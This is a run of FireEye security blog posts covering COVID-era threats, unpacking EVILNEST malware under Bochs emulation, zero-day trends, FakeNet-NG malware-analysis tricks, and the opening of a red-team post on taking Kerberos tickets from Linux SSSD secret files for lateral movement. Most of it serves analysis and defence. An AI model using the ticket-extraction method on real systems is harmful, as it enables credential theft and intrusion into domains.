The sudden and unanticipated shift of many workers to work from home status will represent an opportunity for threat actors. Organizations will be challenged to move quickly to ensure sufficient capacity, as well as that security controls and policies are in place. Disruptive situations can reduce morale and increase stress, leading to adverse behavior such as decreasing users’ reticence to open suspicious messages, and even increasing the risk of insider threats. Distractions while working at home can cause lowered vigilance in scrutinizing and avoiding suspicious content as workers struggle to balance work and home responsibilities at the same time. Furthermore, the rapid adoption of platforms will undoubtedly lead to security mistakes and attract the attention of the threat actors.

Secure remote access will likely rely on use of VPNs and user access permissions and authentication procedures intended to limit exposure of proprietary data. Hardware and infrastructure protection should include ensuring full disk encryption on enterprise devices, maintaining visibility on devices through an endpoint security tool, and maintaining regular software updates. 

For more on this issue, see our blog post on the risks associated with remote connectivity.

The Information Operations Threat

We have seen information operations actors promote narratives associated with COVID-19 to manipulate primarily domestic or near-abroad audiences. We observed accounts in Chinese-language networks operating in support of the People's Republic of China (PRC), some of which we previously identified to be promoting messaging pertaining to the Hong Kong protests, shift their focus to praising the PRC's response to the COVID-19 outbreak, criticizing the response of Hong Kong medical workers and the U.S. to the pandemic, and covertly promoting a conspiracy theory that the U.S. was responsible for the outbreak of the coronavirus in Wuhan.

We have also identified multiple information operations promoting COVID-19-related narratives that were aimed at Russian- and Ukrainian-speaking audiences, including some that we assess with high confidence are part of the broader suspected Russian influence campaign publicly referred to as "Secondary Infektion," as well as other suspected Russian activity. These operations have included leveraging a false hacktivist persona to spread the conspiracy theory that the U.S. developed the coronavirus in a weapons laboratory in Central Asia, taking advantage of physical protests in Ukraine to push the narrative that Ukrainians repatriated from Wuhan will infect the broader Ukrainian population, and claiming that the Ukrainian healthcare system is ill-equipped to deal with the pandemic. Other operations alleged that U.S. government or military personnel were responsible for outbreaks of the coronavirus in various countries including Lithuania and Ukraine, or insisted that U.S. personnel would contribute to the pandemic's spread if scheduled multilateral military exercises in the region were to continue as planned.

Outlook

It is clear that adversaries expect us to be distracted by these overwhelming events. The greatest cyber security challenge posed by COVID-19 may be our ability to stay focused on the threats that matter most. An honest assessment of the cyber security implications of the pandemic will be necessary to make efficient use of resources limited by the crisis itself.

For more information and resources that can help strengthen defenses, visit FireEye's "Managing Through Change and Crisis" site, which aggregates many resources to help organizations that are trying to navigate COVID-19 related security challenges.

Thinking Outside the Bochs: Code Grafting to Unpack Malware in Emulation

This blog post continues the FLARE script series with a discussion of patching IDA Pro database files (IDBs) to interactively emulate code. While the fastest way to analyze or unpack malware is often to run it, malware won’t always successfully execute in a VM. I use IDA Pro’s Bochs integration in IDB mode to sidestep tedious debugging scenarios and get quick results. Bochs emulates the opcodes directly from your IDB in a Bochs VM with no OS.

Bochs IDB mode eliminates distractions like switching VMs, debugger setup, neutralizing anti-analysis measures, and navigating the program counter to the logic of interest. Alas, where there is no OS, there can be no loader or dynamic imports. Execution is constrained to opcodes found in the IDB. This precludes emulating routines that call imported string functions or memory allocators. Tom Bennett’s flare-emu ships with emulated versions of these, but for off-the-cuff analysis (especially when I don’t know if there will be a payoff), I prefer interactively examining registers and memory to adjust my tactics ad hoc.

What if I could bring my own imported functions to Bochs like flare-emu does? I’ve devised such a technique, and I call it code grafting. In this post I’ll discuss the particulars of statically linking stand-ins for common functions into an IDB to get more mileage out of Bochs. I’ll demonstrate using this on an EVILNEST sample to unpack and dump next-stage payloads from emulated memory. I’ll also show how I copied a tricky call sequence from one IDB to another IDB so I could keep the unpacking process all in a single Bochs debug session.

EVILNEST Scenario

My sample (MD5 hash 37F7F1F691D42DCAD6AE740E6D9CAB63 which is available on VirusTotal) was an EVILNEST variant that populates the stack with configuration data before calling an intermediate payload. Figure 1 shows this unusual call site.


Figure 1: Call site for intermediate payload

The code in Figure 1 executes in a remote thread within a hollowed-out iexplore.exe process; the malware uses anti-analysis tactics as well. I had the intermediate payload stage and wanted to unpack next-stage payloads without managing a multi-process debugging scenario with anti-analysis. I knew I could stub out a few function calls in the malware to run all of the relevant logic in Bochs. Here’s how I did it.

Code Carving

I needed opcodes for a few common functions to inject into my IDBs and emulate in Bochs. I built simple C implementations of selected functions and compiled them into one binary. Figure 2 shows some of these stand-ins.


Figure 2: Simple implementations of common functions

I compiled this and then used IDAPython code similar to Figure 3 to extract the function opcode bytes.


Figure 3: Function extraction

I curated a library of function opcodes in an IDAPython script as shown in Figure 4. The nonstandard function opcodes at the bottom of the figure were hand-assembled as tersely as possible to generically return specific values and manipulate the stack (or not) in conformance with calling conventions.


Figure 4: Extracted function opcodes

On top of simple functions like memcpy, I implemented a memory allocator. The allocator referenced global state data, meaning I couldn’t just inject it into an IDB and expect it to work. I read the disassembly to find references to global operands and templatize them for use with Python’s format method. Figure 5 shows an example for malloc.


Figure 5: HeapAlloc template code

I organized the stubs by name as shown in Figure 6 both to call out functions I would need to patch, and to conveniently add more function stubs as I encounter use cases for them. The mangled name I specified as an alias for free is operator delete.


Figure 6: Function stubs and associated names

To inject these functions into the binary, I wrote code to find the next available segment of a given size. I avoided occupying low memory because Bochs places its loader segment below 0x10000. Adjacent to the code in my code  segment, I included space for the data used by my memory allocator. Figure 7 shows the result of patching these functions and data into the IDB and naming each location (stub functions are prefixed with stub_).


Figure 7: Data and code injected into IDB

The script then iterates all the relevant calls in the binary and patches them with calls to their stub implementations in the newly added segment. As shown in Figure 8, IDAPython’s Assemble function saved the effort of calculating the offset for the call operand manually. Note that the Assemble function worked well here, but for bigger tasks, Hex-Rays recommends a dedicated assembler such as Keystone Engine and its Keypatch plugin for IDA Pro.


Figure 8: Abbreviated routine for assembling a call instruction and patching a call site to an import

The Code Grafting script updated all the relevant call sites to resemble Figure 9, with the target functions being replaced by calls to the stub_ implementations injected earlier. This prevented Bochs in IDB mode from getting derailed when hitting these call sites, because the call operands now pointed to valid code inside the IDB.


Figure 9: Patched operator new() call site

Dealing with EVILNEST

The debug scenario for the dropper was slightly inconvenient, and simultaneously, it was setting up a very unusual call site for the payload entry point. I used Bochs to execute the dropper until it placed the configuration data on the stack, and then I used IDAPython’s idc.get_bytes function to extract the resulting stack data. I wrote IDAPython script code to iterate the stack data and assemble push instructions into the payload IDB leading up to a call instruction pointing to the DLL’s export. This allowed me to debug the unpacking process from Bochs within a single session.

I clicked on the beginning of my synthesized call site and hit F4 to run it in Bochs. I was greeted with the warning in Figure 10 indicating that the patched IDB would not match the depictions made by the debugger (which is untrue in the case of Bochs IDB mode). Bochs faithfully executed my injected opcodes producing exactly the desired result.


Figure 10: Patch warning

I watched carefully as the instruction pointer approached and passed the IsDebuggerPresent check. Because of the stub I injected (stub_IsDebuggerPresent), it passed the check returning zero as shown in Figure 11.


Figure 11: Passing up IsDebuggerPresent

I allowed the program counter to advance to address 0x1A1538, just beyond the unpacking routine. Figure 12 shows the register state at this point which reflects a value in EAX that was handed out by my fake heap allocator and which I was about to visit.


Figure 12: Running to the end of the unpacker and preparing to view the result

Figure 13 shows that there was indeed an IMAGE_DOS_SIGNATURE (“MZ”) at this location. I used idc.get_bytes() to dump the unpacked binary from the fake heap location and saved it for analysis.


Figure 13: Dumping the unpacked binary

Through Bochs IDB mode, I was also able to use the interactive debugger interface of IDA Pro to experiment with manipulating execution and traversing a different branch to unpack another payload for this malware as well.

Conclusion

Although dynamic analysis is sometimes the fastest road, setting it up and navigating minutia detract from my focus, so I’ve developed an eye for routines that I can likely emulate in Bochs to dodge those distractions while still getting answers. Injecting code into an IDB broadens the set of functions that I can do this with, letting me get more out of Bochs. This in turn lets me do more on-the-fly experimentation, one-off string decodes, or validation of hypotheses before attacking something at scale. It also allows me to experiment dynamically with samples that won’t load correctly anyway, such as unpacked code with damaged or incorrect PE headers.

I’ve shared the Code Grafting tools as part of the flare-ida GitHub repository. To use this for your own analyses:

  1. In IDA Pro’s IDAPython prompt, run code_grafter.py or import it as a module.
  2. Instantiate a CodeGrafter object and invoke its graftCodeToIdb() method:
    • CodeGrafter().graftCodeToIdb()
  3. Use Bochs in IDB mode to conveniently execute your modified sample and experiment away!

This post makes it clear just how far I’ll go to avoid breaking eye contact with IDA. If you’re a fan of using Bochs with IDA too, then this is my gift to you. Enjoy!

Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One

One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations.

FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons.

Zero-Day Usage by Country and Group

Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region.

Examples include:

  • A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group.
  • The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days.
  • Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities.

We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance:

  • In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company.
  • FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team.
  • Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools.

Zero-Day Exploitation by Major Cyber Powers

We have continued to see exploitation of zero days by espionage groups of major cyber powers.

  • According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016.
  • FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed.
  • From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued.
  • In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products. 

In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application. 

Zero-Day Use by Financially Motivated Actors

Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups.

In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor "BuggiCorp," we have not identified direct evidence linking this actor to this exploit's development or sale.

Conclusion

We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include:

  • Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups.
  • Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed.

It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds.

Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar. 

Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero's zero-day "In the Wild" Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

FakeNet Genie: Improving Dynamic Malware Analysis with Cheat Codes for FakeNet-NG

As developers of the network simulation tool FakeNet-NG, reverse engineers on the FireEye FLARE team, and malware analysis instructors, we get to see how different analysts use FakeNet-NG and the challenges they face. We have learned that FakeNet-NG provides many useful features and solutions of which our users are often unaware. In this blog post, we will showcase some cheat codes to level up your network analysis with FakeNet-NG. We will introduce custom responses and demonstrate powerful features such as executing commands on connection events and decrypting SSL traffic.

Since its first release in 2016, we have improved FakeNet-NG by adding new features such as Linux support and content-based protocol detection. We recently updated FakeNet-NG with one of our most requested features: custom responses for HTTP and binary protocols.

This blog post offers seven "stages" to help you master different FakeNet-NG strategies. We present them in terms of common scenarios we encounter when analyzing malware. Feel free to skip to the section relevant to your current analysis and/or adapt them to your individual needs. The stages are presented as follows:

  1. Custom File Responses
  2. Custom Binary Protocols
  3. Custom HTTP Responses
  4. Manual Custom Responses
  5. Blacklisting Processes
  6. Executing Commands on Connection Events
  7. Decrypting SSL Traffic

Read on to upgrade your skill tree and become a FakeNet-NG pro!

Before You Start: Configuring FakeNet-NG

Here is a quick reference for FakeNet-NG configurations and log data locations.

  1. Configuration files are in fakenet\configs. You can modify default.ini or copy it to a new file and point FakeNet-NG to the alternate configuration with -c. Ex: fakenet.py -c custom.ini.
  2. Default files are at fakenet\defaultFiles and Listener implementations are at fakenet\listeners.
  3. The fakenet\configs\default.ini default configuration includes global configuration settings and individual Listener configurations.
  4. Custom response configuration samples are included in the directory fakenet\configs in the files CustomProviderExample.py, sample_custom_response.ini, and sample_raw_response.txt.
  5. The install location for FakeNet-NG in FLARE VM is C:\Python27\lib\site-packages\fakenet. You will find the subdirectories containing the defaultFiles, configs, and listeners in this directory.
  6. In FLARE VM, FakeNet-NG packet capture files and HTTP requests can be found on the Desktop in the fakenet_logs directory

Stage 1: Custom File Responses

As you may have noticed, FakeNet-NG is not limited to serving HTML pages. Depending on the file type requested, FakeNet-NG can serve PE files, ELF files, JPG, GIF, etc. FakeNet-NG is configured with several default files for common types and can also be configured to serve up custom files. The defaultFiles directory contains several types of files for standard responses. For example, if malware sends an FTP GET request for evil.exe, FakeNet-NG will respond with the file defaultFiles\FakeNetMini.exe (the default response for .exe requests). This file is a valid Portable Executable file that displays a message box. By providing an actual PE file, we can observe the malware as it attempts to download and execute a malicious payload. An example FTP session and subsequent execution of the downloaded default file is shown in Figure 1.


Figure 1: Using FTP to download FakeNet-NG's default executable response

Most requests are adequately handled by this system. However, malware sometimes expects a file with a specific format, such as an image with an embedded PowerShell script, or an executable with a hash appended to the file for an integrity check . In cases like these, you can replace one of the default files with a file that meets the malware’s expectation. There is also an option in each of the relevant Listeners (modules that implement network protocols) configurations to modify the defaultFiles path. This allows FakeNet-NG to serve different files without overwriting or modifying default data. A customized FakeNet.html file is shown in Figure 2.


Figure 2: Modify the default FakeNet.html file to customize the response

Stage 2: Custom Binary Protocols

Many malware samples implement custom binary protocols which require specific byte sequences. For example, malware in the GH0ST family may require each message to begin with a signature such as "GH0ST". The default FakeNet-NG RawListener responds to unknown requests with an echo, i.e. it sends the same data that it has received. This behavior is typically sufficient. However, in cases where a custom response is required, you can still send the data the malware expects.

Custom TCP and UDP responses are now possible with FakeNet-NG. Consider a hypothetical malware sample that beacons the string “Hello” to its command and control (C2) server and waits for a response packet that begins with “FLARE” followed by a numeric command (0-9). We will now demonstrate several interesting ways FakeNet-NG can handle this scenario.

Static Custom Response

You can configure how the TCP and/or UDP Raw Listeners respond to traffic. In this example we tell FakeNet-NG how to respond to any TCP raw request (no protocol detected). First uncomment the Custom configuration option in the RawTCPListener section of fakenet/configs/default.ini as illustrated in Figure 3.

[RawTCPListener]
Enabled:     True
Port:        1337
Protocol:    TCP
Listener:    RawListener
UseSSL:      No
Timeout:     10
Hidden:      False
# To read about customizing responses, see docs/CustomResponse.md
Custom:    sample_custom_response.ini

Figure 3: Activate custom TCP response

Next configure the TcpRawFile custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 4. Make sure to comment-out or replace the default RawTCPListener instance.

[ExampleTCP]
InstanceName:     RawTCPListener
ListenerType:     TCP
TcpRawFile:       flare_command.txt

Figure 4: TCP static custom response specifications

Create the file fakenet\configs\flare_command.txt with the content FLARE0. TCP responses will now be generated from the contents of the file.

Dynamic Custom Response

Perhaps you want to issue commands dynamically rather than committing to a specific command in flare_command.txt. This can be achieved programmatically. Configure the TcpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 5. Make sure to comment-out or replace the existing RawTCPListener instance.

[ExampleTCP]
InstanceName:     RawTCPListener
TcpDynamic:       flare_command.py

Figure 5: TCP dynamic custom response specifications

The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file flare_command.py. We modify the HandleTcp() function and produce the new file fakenet\configs\flare_command.py as illustrated in Figure 6. Now you can choose each command as the malware executes. Figure 7 demonstrates issuing commands dynamically using this configuration.

import socket

def HandleTcp(sock):

    while True:
        try:
            data = None

            data = sock.recv(1024)
        except socket.timeout:
            pass

        if not data:
            break

        resp = raw_input('\nEnter a numeric command: ')
        command = bytes('FLARE' + resp + '\n')
        sock.sendall(command)

Figure 6: TCP dynamic response script


Figure 7: Issue TCP dynamic commands

Stage 3: Custom HTTP Responses

Malware frequently implements its own encryption scheme on top of the popular HTTP protocol. For example, your sample may send an HTTP GET request to /comm.php?nonce=<random> and expect the C2 server response to be RC4 encrypted with the nonce value. This process is illustrated in Figure 8. How can we easily force the malware to execute its critical code path to observe or debug its behaviors?


Figure 8: Malware example that expects a specific key based on beacon data

For cases like these we recently introduced support for HTTP custom responses. Like TCP custom responses, the HTTPListener also has a new setting named Custom that enables dynamic HTTP responses. This setting also allows FakeNet-NG to select the appropriate responses matching specific hosts or URIs. With this feature, we can now quickly write a small Python script to handle the HTTP traffic dynamically based upon our malware sample.

Start by uncommenting the Custom configuration option in the HTTPListener80 section as illustrated in Figure 9.

[HTTPListener80]
Enabled:     True
Port:        80
Protocol:    TCP
Listener:    HTTPListener
UseSSL:      No
Webroot:     defaultFiles/
Timeout:     10
#ProcessBlackList: dmclient.exe, OneDrive.exe, svchost.exe, backgroundTaskHost.exe, GoogleUpdate.exe, chrome.exe
DumpHTTPPosts: Yes
DumpHTTPPostsFilePrefix: http
Hidden:      False
# To read about customizing responses, see docs/CustomResponse.md
Custom:    sample_custom_response.ini

Figure 9: HTTP Listener configuration

Next configure the HttpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 10. Make sure to comment-out or replace the default HttpDynamic instance.

[Example2]
ListenerType:     HTTP
HttpURIs:         comm.php
HttpDynamic:      http_example.py

Figure 10: HttpDynamic configuration

The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file http_example.py. We modify the HandleRequest() function as illustrated in Figure 11. FakeNet-NG will now encrypt responses dynamically with the nonce.

import socket
from arc4 import ARC4

# To read about customizing HTTP responses, see docs/CustomResponse.md

def HandleRequest(req, method, post_data=None):
    """Sample dynamic HTTP response handler.

    Parameters
    ----------
    req : BaseHTTPServer.BaseHTTPRequestHandler
        The BaseHTTPRequestHandler that recevied the request
    method: str
        The HTTP method, either 'HEAD', 'GET', 'POST' as of this writing
    post_data: str
        The HTTP post data received by calling `rfile.read()` against the
        BaseHTTPRequestHandler that received the request.
    """

 

    response = 'Ahoy\r\n'

    nonce = req.path.split('=')[1]
    arc4 = ARC4(nonce)
    response = arc4.encrypt(response)

    req.send_response(200)
    req.send_header('Content-Length', len(response))
    req.end_headers()
    req.wfile.write(response)

Figure 11: Dynamic HTTP request handler

Stage 4: Manual Custom Responses

For even more flexibility, the all-powerful networking utility netcat can be used to stand-in for FakeNet-NG listeners. For example, you may want to use netcat to act as a C2 server and issue commands dynamically during execution on port 80. Launch a netcat listener before starting FakeNet-NG, and traffic destined for the corresponding port will be diverted to the netcat listener. You can then issue commands dynamically using the netcat interface as seen in Figure 12.


Figure 12: Use ncat.exe to manually handle traffic

FakeNet-NG's custom response capabilities are diverse. Read the documentation to learn how to boost your custom response high score.

Stage 5: Blacklisting Processes

Some analysts prefer to debug malware from a separate system. There are many reasons to do this; most commonly to preserve the IDA database and other saved data when malware inevitably corrupts the environment. The process usually involves configuring two virtual machines on a host-only network. In this setup, FakeNet-NG intercepts network traffic between the two machines, which renders remote debugging impossible. To overcome this obstacle, we can blacklist the debug server by instructing FakeNet-NG to ignore traffic from the debug server process.

When debugging remotely with IDA Pro, the standard debug server process for a 32-bit Portable Executable is win32_remote.exe (or dbgsrv.exe for WinDbg). All you need to do is add the process names to the ProcessBlackList configuration as demonstrated in Figure 13. Then, the debug servers can still communicate freely with IDA Pro while all other network traffic is captured and redirected by FakeNet-NG.

# Specify processes to ignore when diverting traffic. Windows example used here.
ProcessBlackList: win32_remote.exe, dbgsrv.exe

Figure 13: Modified configs/default.ini to allow remote debugging with IDA Pro

Blacklisting is also useful to filter out noisy processes from polluting Fakenet-NG captured network traffic. Examples include processes that attempt to update the Windows system or other malware analysis tools.

Additional settings are available for blacklisting ports and hosts. Please see the README for more details about blacklisting and whitelisting.

Stage 6: Executing Commands on Connection Events

Fakenet-NG can be configured to execute commands when a connection is made to a Listener. For example, this option can be used to attach a debugger to a running sample upon a connection attempt. Imagine a scenario where we analyze the packed sample named Lab18-01.exe from the Practical Malware Analysis labs. Using dynamic analysis, we can see that the malware beacons to its C2 server over TCP port 80 using the HTTP protocol as seen in Figure 14.


Figure 14: Malware beacons to its C2 server over TCP port 80

Wouldn’t it be nice if we could magically attach a debugger to Lab18-01.exe when a connection is made? We could speedrun the sample and bypass the entire unpacking stub and any potential anti-debugging tricks the sample may employ.

To configure Fakenet-NG to launch and attach a debugger to any process, modify the [HTTPListener80] section in the fakenet\configs\default.ini to include the ExecuteCmd option. Figure 15 shows an example of a complete [HTTPListener80] section.

[HTTPListener80]
Enabled:     True
Port:        80
Protocol:    TCP
Listener:    HTTPListener
UseSSL:      No
Webroot:     defaultFiles/
Timeout:     10
DumpHTTPPosts: Yes
DumpHTTPPostsFilePrefix: http
Hidden:      False
# Execute x32dbg –p to attach to a debugger. {pid} is filled in automatically by Fakenet-NG
ExecuteCmd: x32dbg.exe -p {pid}

Figure 15: Execute command option to run and attach x32dbg

In this example, we configure the HTTPListener on port 80 to execute the debugger x32dbg.exe, which will attach to a running process whose process ID is determined at runtime. When a connection is made to HTTPListener, FakeNet-NG will automatically replace the string {pid} with the process ID of the process that makes the connection. For a complete list of supported variables, please refer to the Documentation.

Upon restarting Fakenet-NG and running the sample again, we see x32dbg launch and automatically attach to Lab18-01.exe. We can now use memory dumping tools such as Scylla or the OllyDumpEx plugin to dump the executable and proceed to static analysis. This is demonstrated in Figure 16 and Figure 17.


Figure 16: Using FakeNet-NG to attach x32dbg to the sample (animated)


Figure 17: Fakenet-NG executes x32dbg upon connection to practicalmalwareanalysis.com

Stage 7: Decrypting SSL Traffic

Often malware uses SSL for network communication, which hinders traffic analysis considerably as the packet data is encrypted. Using Fakenet-NG's ProxyListener, you can create a packet capture with decrypted traffic. This can be done using the protocol detection feature.

The proxy can detect SSL, and "man-in-the-middle" the socket in SSL using Python's OpenSSL library. It then maintains full-duplex connections with the malware and with the HTTP Listener, with both sides unaware of the other. Consequently, there is a stream of cleartext HTTP traffic between the Proxy and the HTTP Listener, as seen in Figure 18.


Figure 18: Cleartext streams between Fakenet-NG components

In order to keep FakeNet-NG as simple as possible, current default settings for FakeNet-NG do not have the proxy intercept HTTPS traffic on port 443 and create the decrypted stream. To proxy the data you need to set the HTTPListener443 Hidden attribute to True as demonstrated in Figure 19. This tells the proxy to intercept packets and detect the protocol based on packet contents. Please read our blog post on the proxy and protocol detection to learn more about this advanced feature.

[HTTPListener443]
Enabled:     True
Port:        443
Protocol:    TCP
Listener:    HTTPListener
UseSSL:      Yes
Webroot:     defaultFiles/
DumpHTTPPosts: Yes
DumpHTTPPostsFilePrefix: http
Hidden:      True

Figure 19: Hide the listener so the traffic will be proxied

We can now examine the packet capture produced by Fakenet-NG. The cleartext can be found in a TCP stream between an ephemeral port on localhost (ProxyListener) and port 80 on localhost (HTTPListener). This is demonstrated in Figure 20.


Figure 20: Cleartext traffic between HTTPListener and Proxy Listener

Conclusion (New Game+)

Fakenet-NG is the de facto standard network simulation tool for malware analysis. It runs without installation and is included in FLARE VM. In addition to its proven and tested default settings, Fakenet offers countless capabilities and configuration options. In this blog post we have presented several tricks to handle common analysis scenarios. To download the latest version, to see a complete list of all configuration options, or to contribute to Fakenet-NG, please see our Github repository.

Kerberos Tickets on Linux Red Teams

At FireEye Mandiant, we conduct numerous red team engagements within Windows Active Directory environments. Consequently, we frequently encounter Linux systems integrated within Active Directory environments. Compromising an individual domain-joined Linux system can provide useful data on its own, but the best value is obtaining data, such as Kerberos tickets, that will facilitate lateral movement techniques. By passing these Kerberos Tickets from a Linux system, it is possible to move laterally from a compromised Linux system to the rest of the Active Directory domain.

There are several ways to configure a Linux system to store Kerberos tickets. In this blog post, we will introduce Kerberos and cover some of the various storage solutions. We will also introduce a new tool that extracts Kerberos tickets from domain-joined systems that utilize the System Security Services Daemon Kerberos Cache Manager (SSSD KCM).

What is Kerberos

Kerberos is a standardized authentication protocol that was originally created by MIT in the 1980s. The protocol has evolved over time. Today, Kerberos Version 5 is implemented by numerous products, including Microsoft Active Directory. Kerberos was originally designed to mutually authenticate identities over an unsecured communication line.

The Microsoft implementation of Kerberos is used in Active Directory environments to securely authenticate users to various services, such as the domain (LDAP), database servers (MSSQL) and file shares (SMB/CIFS). While other authentication protocols exist within Active Directory, Kerberos is one of the most popular methods. Technical documentation on how Microsoft implemented Kerberos Protocol Extensions within Active Directory can be found in the MS-KILE standards published on MSDN. 

Short Example of Kerberos Authentication in Active Directory

To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.

There are two main types of Kerberos tickets used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller.

The diagram in Figure 1 shows the authentication flow.

Figure 1: Example Kerberos authentication flow

In summary:

  1. The user requests a Ticket Granting Ticket (TGT) from the Domain Controller.
  2. Once granted, the user passes the TGT back to the Domain Controller and requests a service ticket for cifs/SQLSERVER.ACMENET.CORP.
  3. After the Domain Controller validates the request, a service ticket is issued that will authenticate the user to the CIFS (SMB) service on SQLSERVER.ACMENET.CORP.
  4. The user receives the service ticket from the Domain Controller and initiates an SMB negotiation with SQLSERVER.ACMENET.CORP. During the authentication process, the user provides a Kerberos blob inside an “AP-REQ” structure that includes the service ticket previously obtained.
  5. The server validates the service ticket and authenticates the user.
  6. If the server determines that the user has permissions to access the share, the user can begin making SMB queries.

For an in-depth example of how Kerberos authentication works, scroll down to view the appendix at the bottom of this article.

Kerberos On Linux Domain-Joined Systems

When a Linux system is joined to an Active Directory domain, it also needs to use Kerberos tickets to access services on the Windows Active Directory domain. Linux uses a different Kerberos implementation. Instead of Windows formatted tickets (commonly referred to as the KIRBI format), Linux uses MIT format Kerberos Credential Caches (CCACHE files). 

When a user on a Linux system wants to access a remote service with Kerberos, such as a file share, the same procedure is used to request the TGT and corresponding service ticket. In older, more traditional implementations, Linux systems often stored credential cache files in the /tmp directory. Although the files are locked down and not world-readable, a malicious user with root access to the Linux system could trivially obtain a copy of the Kerberos tickets and reuse them.

On modern versions of Red Hat Enterprise Linux and derivative distributions, the System Security Services Daemon (SSSD) is used to manage Kerberos tickets on domain-joined systems. SSSD implements its own form of Kerberos Cache Manager (KCM) and encrypts tickets within a database on the system. When a user needs access to a TGT or service ticket, the ticket is retrieved from the database, decrypted, and then passed to the remote service (for more on SSSD, check out this great research from Portcullis Labs).

By default, SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

If a user is able to extract both of these files, it is possible to decrypt the files offline and obtain valid Kerberos tickets. We have published a new tool called SSSDKCMExtractor that will decrypt relevant secrets in the SSSD database and pull out  the credential cache Kerberos blob. This blob can be converted into a usable Kerberos CCache file that can be passed to other tools, such as Mimikatz, Impacket, and smbclient. CCache files can be converted into Windows format using tools such as Kekeo.

We leave it as an exercise to the reader to convert the decrypted Kerberos blob into a usable credential cache file for pass-the-cache and pass-the-ticket operations.

Using SSSDKCMExtractor is simple. An example SSSD KCM database and key are shown in Figure 2.


Figure 2: SSSD KCM files

